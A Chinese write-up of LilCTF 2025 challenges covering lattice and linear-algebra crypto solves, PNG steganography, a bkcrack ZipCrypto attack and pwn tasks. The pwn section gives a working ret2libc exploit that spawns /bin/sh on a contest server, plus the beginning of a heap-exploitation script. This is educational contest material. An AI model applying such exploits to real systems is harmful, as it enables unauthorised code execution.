LilCTF 2025

感谢X1cT34m的师傅们

RK.14

RP.2998

Crypto

baaaaaag

背包密码,通解板子,调一下BKZ的block大小就能出了

from Crypto.Cipher import AES
from Crypto.Util.number import *
import hashlib

a = [965032030645819473226880279, 699680391768891665598556373, 1022177754214744901247677527, 680767714574395595448529297, 1051144590442830830160656147, 1168660688736302219798380151, 796387349856554292443995049, 740579849809188939723024937, 940772121362440582976978071, 787438752754751885229607747, 1057710371763143522769262019, 792170184324681833710987771, 912844392679297386754386581, 906787506373115208506221831, 1073356067972226734803331711, 1230248891920689478236428803, 713426848479513005774497331, 979527247256538239116435051, 979496765566798546828265437, 836939515442243300252499479, 1185281999050646451167583269, 673490198827213717568519179, 776378201435505605316348517, 809920773352200236442451667, 1032450692535471534282750757, 1116346000400545215913754039, 1147788846283552769049123803, 994439464049503065517009393, 825645323767262265006257537, 1076742721724413264636318241, 731782018659142904179016783, 656162889354758353371699131, 1045520414263498704019552571, 1213714972395170583781976983, 949950729999198576080781001, 1150032993579134750099465519, 975992662970919388672800773, 1129148699796142943831843099, 898871798141537568624106939, 997718314505250470787513281, 631543452089232890507925619, 831335899173370929279633943, 1186748765521175593031174791, 884252194903912680865071301, 1016020417916761281986717467, 896205582917201847609656147, 959440423632738884107086307, 993368100536690520995612807, 702602277993849887546504851, 1102807438605649402749034481, 629539427333081638691538089, 887663258680338594196147387, 1001965883259152684661493409, 1043811683483962480162133633, 938713759383186904819771339, 1023699641268310599371568653, 784025822858960757703945309, 986182634512707587971047731, 1064739425741411525721437119, 1209428051066908071290286953, 667510673843333963641751177, 642828919542760339851273551, 1086628537309368288204342599, 1084848944960506663668298859, 667827295200373631038775959, 752634137348312783761723507, 707994297795744761368888949, 747998982630688589828284363, 710184791175333909291593189, 651183930154725716807946709, 724836607223400074343868079, 1118993538091590299721647899]
b = 34962396275078207988771864327

ciphertext = b'Lo~G\xf46>\xd609\x8e\x8e\xf5\xf83\xb5\xf0\x8f\x9f6&\xea\x02\xfa\xb1_L\x85\x93\x93\xf7,`|\xc6\xbe\x05&\x85\x8bC\xcd\xe6?TV4q'

S = b
M = a

ge = Matrix(ZZ,len(M)+1)
for i in range(len(M)):
    ge[i,i] = 2
    ge[i,-1] = M[i]
    ge[-1,i] = 1
ge[-1,-1] = S
Ge = ge.BKZ(block_size = 30)
# print(Ge)for row in Ge:
    m1, m2 = "", ""
    if row[-1] != 0 or set(row[:-1]) != {-1, 1}:
        continue
    print(row)
    for i in row[:-1]:
        m1 += str((i + 1) // 2)
        m2 += str((i + 1) // 2 ^^ 1)
    p1 = int(m1[::-1],2)
    print(p1)
    p2 = int(m2[::-1],2)
    print(p2)

    key = hashlib.sha256(str(p1).encode()).digest()
    cipher = AES.new(key, AES.MODE_ECB)
    flag = cipher.decrypt(ciphertext)
    print(flag)

    key = hashlib.sha256(str(p2).encode()).digest()
    cipher = AES.new(key, AES.MODE_ECB)
    flag = cipher.decrypt(ciphertext)
    print(flag)

# LILCTF{M4ybe_7he_brut3_f0rce_1s_be5t}

Space Travel

一开始无脑写格发现800*600的复杂度太大,后面开始考虑从仿射子空间思考,发现vecs是个13维的向量空间,但是vecs长度为4096应该对应的是个12维的空间,这样才能正好把800位的key映射为600位,然后就能利用已知的600组关系得出唯一解。

所以开始考虑把13维变换到12维上去,然后测试发现,该13维空间是在12维空间上加了一个偏移向量产生的,也就是原12维空间第一个向量就是原点。也就有这样一个从16维到12维的映射

$$v_{12}\cdot G + v_{0} = v_{16}$$

于是可以将$$K_{1\times 800}\cdot N_{800\times 600}=H_{1\times 600}$$转化为如下式子

$$(K’_{1\times 600}\cdot diag(\underbrace{G,G,\cdots ,G} _{50})+v_0)\cdot N_{800\times 600}=H_{1\times 600}$$

$$\Rightarrow K’_{1\times 600}\cdot (diag(\underbrace{G,G,\cdots ,G} _{50})\cdot N_{800\times 600}) = H_{1\times 600}-v_0\cdot N_{800\times 600}$$

解形如$$xA=B$$的矩阵即可得到映射后的K,按映射方式转换回去即可得到key

下面放上AI和我手搓的两个exp,处理思路有一点点不一样,我觉得AI的有点复杂

我写的:

from Crypto.Cipher import AES
from hashlib import md5

gift = ...
enc = ...
vecs = ...

F = GF(2)

V16 = VectorSpace(F, 16)
V600 = VectorSpace(F, 600)
V800 = VectorSpace(F, 800)

vecs_vec = [V16(list(map(int, b))) for b in vecs]
v0 = vecs_vec[0]
vecs_vec = [v-v0 for v in vecs_vec]

V = span(vecs_vec)
assert V.dimension() == 12

G = Matrix(F, V.basis())    # 12 x 16 matrix

G50 = block_diagonal_matrix([G]*50) # 600 x 800 matrix
v50 = V800([*v0]*50) # 800-dimensional vector

N = Matrix(F, 800, 600)
for i in range(600):
    N.set_column(i, list(map(int, bin(gift[i][0])[2:].zfill(800))))

H = V600([i[1] for i in gift])

A = G50*N
B = H - v50 * N

K = A.solve_left(B)
K = K * G50 + v50
key = int("".join(map(str, K)), 2)
key_md5 = md5(str(key).encode()).digest()
print(f"Key: {key_md5.hex()}")

print(AES.new(key=md5(str(key).encode()).digest(), nonce=b"Tiffany", mode=AES.MODE_CTR).decrypt(enc))

# Key: 6acd53e24eb5b025973a59b501589c4d
# Flag: LILCTF{Un1qUe_s0luti0n_1N_sUbSp4C3!}

Gemini的:

from Crypto.Cipher import AES
from hashlib import md5

gift = ...
enc = ...
vecs = ...

print("[*] Step 1: Characterizing the affine subspace...")

# 定义二元有限域 GF(2)
F = GF(2)

# 定义16维向量空间,用于处理 vecs 中的向量
V16 = VectorSpace(F, 16)

# 将 vecs 中的十六进制字符串转换为 GF(2) 上的向量
vecs_vec = [V16(list(map(int, b))) for b in vecs]

# 选择 v0 作为偏移向量
v0 = vecs_vec[0]
print(f"    - Chose translation vector v0: {v0}")

# 计算线性子空间 W 的生成元
W_gens = [v - v0 for v in vecs_vec]

# 创建线性子空间 W 并计算其基
W = V16.subspace(W_gens)
W_basis = W.basis()

# 检查维度是否为12
if len(W_basis) != 12:
    print(f"[!] Warning: Dimension of the linear subspace is {len(W_basis)}, expected 12.")
else:
    print(f"    - Successfully found a basis of 12 vectors for the linear subspace W.")

# --- 第 2 步: 构建 600x600 的线性方程组 ---

print("\n[*] Step 2: Building the 600x600 linear system...")

# 定义800维向量空间,用于处理完整的密钥和nonce
V800 = VectorSpace(F, 800)

# 计算 800 位的基准密钥 K_base (v0 || v0 || ... || v0)
K_base_list = []
for _ in range(50):
    K_base_list.extend(v0)
K_base = V800(K_base_list)

# 构建 600 个 800 维的扩展基向量 B_{j,i}
# B_vectors[k] 对应未知数 c_{j,i},其中 k = j*12 + i
B_vectors = []
for j in range(50):       # 对应 50 个块
    for i in range(12):   # 对应 12 个基向量
        temp_vec = V800.zero_vector()
        # 将第 i 个基向量 b_i 放置在第 j 个块的位置
        for bit_idx in range(16):
            temp_vec[j*16 + bit_idx] = W_basis[i][bit_idx]
        B_vectors.append(temp_vec)

# 初始化系数矩阵 M 和常数向量 y
M = matrix(F, 600, 600)
y = vector(F, 600)

# 填充矩阵 M 和向量 y
for k in range(600):
    nonce_int, parity = gift[k]
    # 将 nonce 整数转换为 800 位向量
    # Sage 的 integer_to_vector 默认是 little-endian,但对于点积不影响
    n_vec = V800([int(bit) for bit in bin(nonce_int)[2:].zfill(800)])
    
    # 计算方程右边的常数项: parity + (n · K_base)
    y[k] = parity + n_vec.dot_product(K_base)
    
    # 计算方程左边的系数 (矩阵 M 的一行)
    for l in range(600):
        M[k, l] = n_vec.dot_product(B_vectors[l])

print("    - System Ax=b constructed successfully.")

# --- 第 3 步: 求解方程并恢复密钥 ---

print("\n[*] Step 3: Solving the system and reconstructing the key...")

try:
    # 求解 c_{j,i} 系数
    coeffs = M.solve_right(y)
    print("    - System solved. Found the 600 coefficients.")
except ValueError:
    print("[!] Error: The matrix is singular. Cannot find a unique solution.")
    exit()

# 使用系数恢复50个16位密钥块
key_blocks = []
for j in range(50):
    current_block = v0
    for i in range(12):
        # c_{j,i} * b_i
        coeff_idx = j * 12 + i
        term = coeffs[coeff_idx] * W_basis[i]
        current_block += term
    key_blocks.append(current_block)

# 拼接所有块得到完整的800位密钥向量
key_vec_list = []
for block in key_blocks:
    key_vec_list.extend(block)
key_vec = V800(key_vec_list)

# 将密钥向量转换为大整数
key_int_str = "".join(map(str, key_vec))
key_int = int(key_int_str, 2)

print(f"    - Successfully reconstructed the 800-bit key.")
# print(f"    - Key (int): {key_int}")

# --- 第 4 步: 解密 Flag ---

print("\n[*] Step 4: Decrypting the flag...")

# 计算AES密钥
aes_key = md5(str(key_int).encode()).digest()
print(f"    - AES Key (hex): {aes_key.hex()}")

# 使用 AES-CTR 进行解密
cipher = AES.new(key=aes_key, mode=AES.MODE_CTR, nonce=b"Tiffany")
flag = cipher.decrypt(enc)

print("\n" + "="*40)
print(flag)
print("="*40)
[*] Step 1: Characterizing the affine subspace...
    - Chose translation vector v0: (0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0)
    - Successfully found a basis of 12 vectors for the linear subspace W.

[*] Step 2: Building the 600x600 linear system...
    - System Ax=b constructed successfully.

[*] Step 3: Solving the system and reconstructing the key...
    - System solved. Found the 600 coefficients.
    - Successfully reconstructed the 800-bit key.

[*] Step 4: Decrypting the flag...
    - AES Key (hex): 6acd53e24eb5b025973a59b501589c4d

========================================
b'LILCTF{Un1qUe_s0luti0n_1N_sUbSp4C3!}'
========================================

Linear

和背包密码类似,直接构造格,为了保证目标向量最后为0,需要整体乘以K,最后一项为0时,得到的x一定是一组有效解。

$$ \left( x_1, x_2, \ldots, x_n, 1 \right) \begin{bmatrix} 1 & 0 & \cdots & 0 & K a_1 \\ 0 & 1 & \cdots & 0 & K a_2 \\ \vdots & \vdots & \ddots & \vdots & \vdots \\ 0 & 0 & \cdots & 1 & K a_n \\ 0 & 0 & \cdots & 0 & -K b \end{bmatrix} = \left( x_1, x_2, \ldots, x_n, 0 \right) $$

from fpylll import IntegerMatrix, LLL, FPLLL
from Crypto.Util.number import *
import random
from pwn import *
import ast

# import re


def process_matrices(matrix1, matrix2):
    nrows = 16
    ncols = 32

    # A = [[random.randint(1, 1919810) for _ in range(ncols)] for _ in range(nrows)]
    # x = [random.randint(1, 114514) for _ in range(ncols)]
    # b = [sum(A[i][j] * x[j] for j in range(ncols)) for i in range(nrows)]
    A = matrix1
    b = matrix2
    K = 1000000

    # print(f"A = {A}")
    # print(f"b = {b}")
    # print(f"x = {x}")
    dim = nrows + ncols

    M = IntegerMatrix(dim, dim)

    for i in range(ncols):
        M[i, i] = 1
        for j in range(nrows):
            M[i, ncols + j] = A[j][i] * K

    for j in range(nrows):
        M[ncols, ncols + j] = -b[j] * K

    L = LLL.reduction(M)

    for line in M:
        line = list(line)
        if all(x == 0 for x in line[ncols:]) and all(x != 0 for x in line[:ncols]):
            # print(f"x = {line[:ncols]}")
            return line[:ncols]


def parse_matrix(matrix_str):
    """将字符串形式的矩阵解析为二维列表"""
    # 去除空行并分割每行
    lines = [line.strip() for line in matrix_str.strip().split("\n") if line.strip()]
    # 分割每行元素并转换为整数
    return [list(map(int, line.split())) for line in lines]


def format_matrix(matrix):
    """将二维列表格式化为字符串形式的矩阵"""
    return "\n".join([" ".join(map(str, row)) for row in matrix]) + "\n"


def main():
    # 配置连接信息
    host = "challenge.xinshi.fun"  # 替换为目标主机地址
    port = 42749  # 替换为目标端口

    # 建立连接
    try:
        io = remote(host, port)
        print(f"成功连接到 {host}:{port}")
    except Exception as e:
        print(f"连接失败: {e}")
        return

    try:
        # io.interactive()
        # 接收第一个矩阵
        print("接收第一个矩阵...")
        matrix1_str = io.recvline().decode().strip()
        matrix1 = ast.literal_eval(matrix1_str)

        # 接收第二个矩阵
        print("接收第二个矩阵...")
        matrix2_str = io.recvline().decode().strip()
        matrix2 = ast.literal_eval(matrix2_str)

        # 等待服务器提示
        print(io.recvuntil(":").decode().strip())

        # 处理矩阵
        print("处理矩阵中...")
        result_matrix = process_matrices(matrix1, matrix2)
        print(result_matrix)

        # 发送结果矩阵
        print("发送结果矩阵...")
        result_str = " ".join(map(str, result_matrix))
        io.sendline(result_str.encode())

        # 等待服务器提示
        print(io.recvline())
        io.interactive()

        # 可以根据需要接收服务器的响应
        # response = p.recvall().decode()
        # print(f"服务器响应: {response}")

    except Exception as e:
        print(f"处理过程中出错: {e}")
    finally:
        # 关闭连接
        io.close()
        print("\n连接已关闭")


if __name__ == "__main__":
    main()

由于限时10秒,只能用脚本提交,这里用在linux下用fpylll库代替sage的LLL。

┌──(my-venv)(root㉿Spreng)-[/home/spreng/work]
└─# python l.py
[+] Opening connection to challenge.xinshi.fun on port 42749: Done
成功连接到 challenge.xinshi.fun:42749
接收第一个矩阵...
接收第二个矩阵...
/home/spreng/work/l.py:84: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(io.recvuntil(":").decode().strip())
Enter your solution:
处理矩阵中...
[25959, 83641, 102653, 27149, 93181, 56, 57217, 110724, 10708, 102370, 21136, 17936, 93512, 99679, 77682, 57788, 29224, 86747, 19551, 30349, 11090, 65057, 109302, 89730, 5474, 37177, 84033, 69633, 19653, 47319, 32133, 62434]
发送结果矩阵...
b' Bravo! Here is your flag:\n'
[*] Switching to interactive mode
LILCTF{b473e5e6-9b84-48ac-9668-8849813bff84}

ez_math

v1 = [getPrime(128), getPrime(128)]
v2 = [getPrime(128), getPrime(128)]

A = matrix(GF(p), [v1, v2])
B = matrix(GF(p), [mul(v1, lambda1), mul(v2, lambda2)])
C = A.inverse() * B

C和diag(lambda1, lambda2)是相似矩阵,计算特征值即可。

from Crypto.Util.number import *

p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C = [
    [
        7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645,
        7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801,
    ],

[
    7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808,
    2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872,
]]

C = matrix(GF(p), C)  # 示例矩阵C

# 求C的特征值(即λ1和λ2)
eigenvalues = C.eigenvalues()
lambda1, lambda2 = eigenvalues

m1, m2 = long_to_bytes(int(lambda1)), long_to_bytes(int(lambda2))

flag = b"LILCTF{" + m1 + m2 + b"}"
print(flag)

mid_math

矩阵DLP

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

p = 14668080038311483271
C = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
D = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]
msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
n = 5


G = matrix(GF(p), n, n, C)
H = matrix(GF(p), n, n, D)

G_Jor, P = G.jordan_form(transformation=True)
H_Jor = ~P * H * P


print(G_Jor, H_Jor)
key = discrete_log(H_Jor[1][1], G_Jor[1][1], p-1)
key = pad(long_to_bytes(key), 16)
aes = AES.new(key,AES.MODE_ECB)
flag = aes.decrypt(pad(msg, 64))
print(flag)
# b'LILCTF{Are_y0u_5till_4wake_que5t1on_m4ker!}\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\xd5\x98\x0f\xd7\xa1\x05\xe8%b:\xb7\x96\xc6\xaf\x05\x1b\xd5\x98\x0f\xd7\xa1\x05\xe8%b:\xb7\x96\xc6\xaf\x05\x1b\xd5\x98\x0f\xd7\xa1\x05\xe8%b:\xb7\x96\xc6\xaf\x05\x1b\xd5\x98\x0f\xd7\xa1\x05\xe8%b:\xb7\x96\xc6\xaf\x05\x1b'

Misc

PNG Master

直接zsteg把flag1,2给提取出来

yolo@Yolo:~/Desktop/timu$ zsteg 155008_misc-PNG_M@st3r.png
[?] 112 bytes of extra data after image end (IEND), offset = 0x6f8dd
[?] 270 bytes of extra data after zlib stream
extradata:0         .. text: "6K6p5L2g6Zq+6L+H55qE5LqL5oOF77yM5pyJ5LiA5aSp77yM5L2g5LiA5a6a5Lya56yR552A6K+05Ye65p2lZmxhZzE6NGM0OTRjNDM1NDQ2N2I="
extradata:1         .. file: zlib compressed data
    00000000: 78 9c 0b f0 66 66 e1 62  00 81 83 35 bc d1 41 06  |x...ff.b...5..A.|
    00000010: ee ef 14 80 6c 10 06 89  16 a7 26 17 a5 96 e8 25  |....l.....&....%|
    00000020: 65 e6 89 72 32 89 86 f9  b9 86 84 38 86 39 bb 06  |e..r2......8.9..|
    00000030: 84 38 04 08 b9 c6 84 8a  07 08 b9 85 86 8b 07 3a  |.8.............:|
    00000040: bb 30 06 00 cd 11 01 ea  e0 60 90 ae e5 8d fe 91  |.0.......`......|
    00000050: ce b0 35 1e c8 3b 0c 16  61 60 c8 c8 cc 2b d1 2b  |..5..;..a`...+.+|
    00000060: a9 28 89 f5 35 e4 6a 30  e0 f9 53 25 3b 67 4d 53  |.(..5.j0..S%;gMS|
    00000070: c7 6c fe 82 8e 05 cd 8b  34 7e 4c bf d0 e1 f7 b7  |.l......4~L.....|
    00000080: 69 e3 d2 8d 22 87 0a 77  de 89 5d b7 6d df f3 53  |i..."..w..].m..S|
    00000090: 39 47 27 9b 7e bb b0 c2  2b e4 d6 3b 75 ad 04 a5  |9G'.~...+..;u...|
    000000a0: 39 c7 3a 77 cd fb 74 74  4d f3 67 86 64 85 f8 53  |9.:w..ttM.g.d..S|
    000000b0: 37 ff e9 28 fb bf f9 12  fe b2 27 fc be 82 bf 70  |7..(......'....p|
    000000c0: ec 2d 21 5b 8d 0f 4c 01  de 8c 4c f6 0c b8 bc a3  |.-![..L...L.....|
    000000d0: c2 00 01 0a 50 1a e1 39  2e a8 18 23 83 04 43 ec  |....P..9...#..C.|
    000000e0: 65 5b 23 55 9e 3b 8c 0c  68 00 62 36 2e 2f 22 9b  |e[#U.;..h.b6./".|
    000000f0: ed 81 e4 61 64 93 0f be  ae 9a 81 dd 64 56 36 10  |...ad.......dV6.|
imagedata           .. text: "KNShil\"$"
b1,r,lsb,xy         .. text: "_S&3tZGW}|${"
b1,rgb,lsb,xy       .. text: "5Zyo5oiR5Lus5b+D6YeM77yM5pyJ5LiA5Z2X5Zyw5pa55piv5peg5rOV6ZSB5L2P55qE77yM6YKj5Z2X5Zyw5pa55Y+r5YGa5biM5pybZmxhZzI6NTkzMDc1NWYzNDcyMzM1ZjRk"
b1,bgr,lsb,xy       .. file: OpenPGP Secret Key
b2,bgr,msb,xy       .. file: OpenPGP Public Key
b3,r,msb,xy         .. file: zlib compressed data
b4,r,lsb,xy         .. text: "vu%UUU%EDTgf"
b4,g,lsb,xy         .. text: "7xt7wfyW"
b4,b,lsb,xy         .. text: "\"TE#E3W2"
yolo@Yolo:~/Desktop/timu$ echo "5Zyo5oiR5Lus5b+D6YeM77yM5pyJ5LiA5Z2X5Zyw5pa55piv5peg5rOV6ZSB5L2P55qE77yM6YKj5Z2X5Zyw5pa55Y+r5YGa5biM5pybZmxhZzI6NTkzMDc1NWYzNDcyMzM1ZjRk" | base64 -d
在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4dyolo@Yolo:~/Desktop/timu$
yolo@Yolo:~/Desktop/timu$ echo "6K6p5L2g6Zq+6L+H55qE5LqL5oOF77yM5pyJ5LiA5aSp77yM5L2g5LiA5a6a5Lya56yR552A6K+05Ye65p2lZmxhZzE6NGM0OTRjNDM1NDQ2N2I=" | base64 -d
让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b
zsteg -E "extradata:1" 155008_misc-PNG_M@st3r.png > extracted_data1.zlib
zsteg -E "b3,r,msb,xy" 155008_misc-PNG_M@st3r.png > extracted_data2.zlib

上面的我base64解码的内容再form hex可以拿到部分flag的

LILCTF{Y0u_4r3_Mas7er_in_PNG}

然后这里夹杂的其余部分,我用zilb解压,发现那个extracted块可以拿到个压缩包

import zlib

with open('extracted_data1.zlib', 'rb') as f:
    data1 = f.read()

try:
    decompressed_data1 = zlib.decompress(data1)
    print("--- Data from extracted_data1.zlib ---")
    print(decompressed_data1)
    with open('unpacked1.dat', 'wb') as f_out:
        f_out.write(decompressed_data1)
except Exception as e:
    print(f"Failed to decompress data1: {e}")

print("\n" + "="*50 + "\n")

with open('extracted_data2.zlib', 'rb') as f:
    data2 = f.read()


try:
    decompressed_data2 = zlib.decompress(data2)
    print("--- Data from extracted_data2.zlib ---")
    print(decompressed_data2)

    with open('unpacked2.dat', 'wb') as f_out:
        f_out.write(decompressed_data2)
except Exception as e:
    print(f"Failed to decompress data2: {e}")
    
---
yolo@Yolo:~/Desktop/timu$ python tiqu.py
--- Data from extracted_data1.zlib ---
b'PK\x03\x04\n\x00\x00\x00\x00\x00\xc1|\r[R0G\xee \x00\x00\x00 \x00\x00\x00\n\x00\x00\x00secret.bin\x15\t\x02\x15VNETTAVCEPT@P\x12E\\U\x17P\x12FUW\x17QCD\x01PK\x03\x04\x14\x00\x00\x00\x08\x00\x1b}\r[\xf8g\x00\xb5_\x00\x00\x00\xc3\x00\x00\x00\x08\x00\x00\x00hint.txt]M1\n\x800\x0c\xfcz\x1d\x9c\xac\x82\x88\x9b\x0fp\x88\xa0\x83\xa2(\xf8\x97\xd0\x88N\xfd\x82\xb1\xa5\xb1\x14\xc2q\xb9\xdc]\xae\xb6\xbe\xe7\xcal\xc5\x935\xf6\xd0\xa8JT\xda\xee\'*`"\x9c\xc6\x89\xba\x9e\xf2\xc5\xac\x83\xf3\x00c _\xca\xd9\xfe,#O\xec\xf4W\xe9\x8cW\xdf O\x13]\xda\x12=(\xf0\x02PK\x01\x02?\x00\n\x00\x00\x00\x00\x00\xc1|\r[R0G\xee \x00\x00\x00 \x00\x00\x00\n\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00secret.bin\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00]\xd3=2%\x0c\xdc\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PK\x01\x02?\x00\x14\x00\x00\x00\x08\x00\x1b}\r[\xf8g\x00\xb5_\x00\x00\x00\xc3\x00\x00\x00\x08\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00H\x00\x00\x00hint.txt\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\xc1\xebz\x98%\x0c\xdc\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xb6\x00\x00\x00\xcd\x00\x00\x00\x00\x00'

==================================================

Failed to decompress data2: Error -3 while decompressing data: invalid stored block lengths
yolo@Yolo:~/Desktop/timu$ mv unpacked1.dat flag.zip
yolo@Yolo:~/Desktop/timu$ unzip flag.zip
Archive:  flag.zip
 extracting: secret.bin
  inflating: hint.txt
---

这里的hint文本是零宽字符隐写,解密内容是与文件名xor

xor后,拿到了这个flag3:k6=/%&&”14~p,2&r3`#!yu8-7d

这里有个小坑,就是异或密钥不能有扩展名,就是说密钥需要换成secret

file_to_decrypt = 'secret.bin'
key_string = 'secret'
output_file = 'final_flag_part.txt'
try:
    with open(file_to_decrypt, 'rb') as f:
        file_content = f.read()

    key_bytes = key_string.encode('utf-8')
    key_len = len(key_bytes)

    decrypted_data = bytearray()

    for i in range(len(file_content)):
        decrypted_byte = file_content[i] ^ key_bytes[i % key_len]
        decrypted_data.append(decrypted_byte)

    final_text = decrypted_data.decode('utf-8', errors='ignore')
    print(">>> 解密成功!最终的flag片段是:")
    print(final_text)

    with open(output_file, 'w') as f:
        f.write(final_text)
    print(f"\n结果也已保存到文件: {output_file}")

except FileNotFoundError:
    print(f"错误: 没有找到文件 '{file_to_decrypt}'")
except Exception as e:
    print(f"发生错误: {e}")
    
    
'''
>>> 解密成功!最终的flag片段是:
flag3:61733765725f696e5f504e477d
'''

提前放出附件

首先看到这里是store压缩,显然要用魔数或里面的固定偏移值去进行明文攻击

yolo@Yolo:~/Desktop/timu$ bkcrack -L 162101_misc-public-ahead.zip
bkcrack 1.7.1 - 2024-12-21
Archive: 162101_misc-public-ahead.zip
Index Encryption Compression CRC32    Uncompressed  Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
    0 ZipCrypto  Store       fc1c6e41         2048         2060 flag.tar

接下来研究了下tar压缩包的文件结构,才发现tar是种归档文件,里面有好多好多填充字符

yolo@Yolo:~/Desktop/timu$ printf '%12s' | tr ' ' '\0' > plaintext_12nulls.bin
yolo@Yolo:~/Desktop/timu$ bkcrack -C 162101_misc-public-ahead.zip -c flag.tar -p plaintext_12nulls.bin -o 157
bkcrack 1.7.1 - 2024-12-21
[17:01:59] Z reduction using 4 bytes of known plaintext
100.0 % (4 / 4)
[17:01:59] Attack on 1286955 Z values at index 164
Keys: 945815e7 4e7a2163 e46b8f88
48.4 % (622641 / 1286955)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 622641
[17:05:14] Keys
945815e7 4e7a2163 e46b8f88
yolo@Yolo:~/Desktop/timu$ bkcrack -C 162101_misc-public-ahead.zip -c flag.tar -k 945815e7 4e7a2163 e46b8f88 -d decrypted_flag.tar
bkcrack 1.7.1 - 2024-12-21
[17:06:37] Writing deciphered data decrypted_flag.tar
Wrote deciphered data (not compressed).
yolo@Yolo:~/Desktop/timu$ tar -xvf decrypted_flag.tar
flag.txt
yolo@Yolo:~/Desktop/timu$ ls
0                                             challenge           plaintext_12nulls.bin  web
0xGame_challenge                              decrypted_flag.tar  plaintext_8bytes.bin
162101_misc-public-ahead.zip                  flag.txt            plaintext.bin
162101_misc-public-ahead.zip:Zone.Identifier  output              plaintext_ustar.bin
yolo@Yolo:~/Desktop/timu$ cat flag.txt
LILCTF{Z1pCRyp70_1s_n0t_5ecur3}

v我50(R)MB

这道题挺玄乎的,我在浏览器下载图片,一直被截断,按照webp下载的,每个文件都是到10086这个大小就自动截断,后来我尝试抓包研究

也没有做啥更改,发现响应包的大小一下到1090038,已经大了不少了,把body部分下载下来,发现就是我要的flag图片

Pwn

签到

真签到题,ret2libc,没有pop rdi,用我之前找到的魔术链代替,可以泄露IO

from pwn import *
io=remote("challenge.xinshi.fun",37827)
libc=ELF('./libc.so.6')

payload=b'a'*0x70+p64(0x404040+0x900)+p64(0x4010D0)+p64(0x4011D6)
io.send(payload)
io.recvuntil(b"What's your name?\n")
base=u64(io.recv(6)+b'\x00\x00')-libc.sym._IO_2_1_stdout_
print(hex(base))
payload=b'a'*0x78+p64(base+0x000000000002a3e5+1)+p64(base+0x000000000002a3e5)+p64(base+next(libc.search("/bin/sh")))+p64(base+libc.sym.system)
io.send(payload)
io.interactive()

heap_Pivoting

根据hint可以知道libc为2.23

静态编译的64位堆利用,没开PIE

zer00ne@zer00ne-virtual-machine:~/Desktop/new/3$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

开启了沙箱,禁止了execve的调用

每次固定malloc(0x100)

存在uaf

我们可以通过unsortbins_attack将main_arena+88刷在chunk_list,此时我们可以写main_arena+88

main_arena+88的位置放置了top_chunk_addr,unsortbins数量和两个top_chunk_check指针

其中指针可以使用位于data段的现成地址

把top_chunk_addr改到chunk_list处,此时我们就可以申请chunk_list

对chunk_list修改可以实现任意地址写0x100字节

找到了一个gadget(0x4b8fb8),可以交换edi和esp,实现栈迁移

第一步把free_hook改成这个gadget

我们将ROP写在bss上,然后free(bss)

就会跳转到bss上执行ROP

from pwn import *
#io=process('./pwn')
io=remote("challenge.xinshi.fun",45428)
elf=ELF('./pwn')
def ch(Id):
    io.sendlineafter(b"Your choice:",str(Id).encode())
def add(Id,payload):
    ch(1)
    io.sendlineafter(b"idx:",str(Id).encode())
    io.sendafter(b"Alright!\nwhat do you want to say\n",payload)
def free(Id):
    ch(2)
    io.sendlineafter(b"idx:",str(Id).encode())
def edit(Id,payload):
    ch(3)
    io.sendlineafter(b"idx:",str(Id).encode())
    io.sendafter(b"context: ",payload)
def bug():
    gdb.attach(io,"set glibc 2.23")
add(0,b'a'*8)
add(1,b'b'*8)
free(0)
target=0x6CCD60
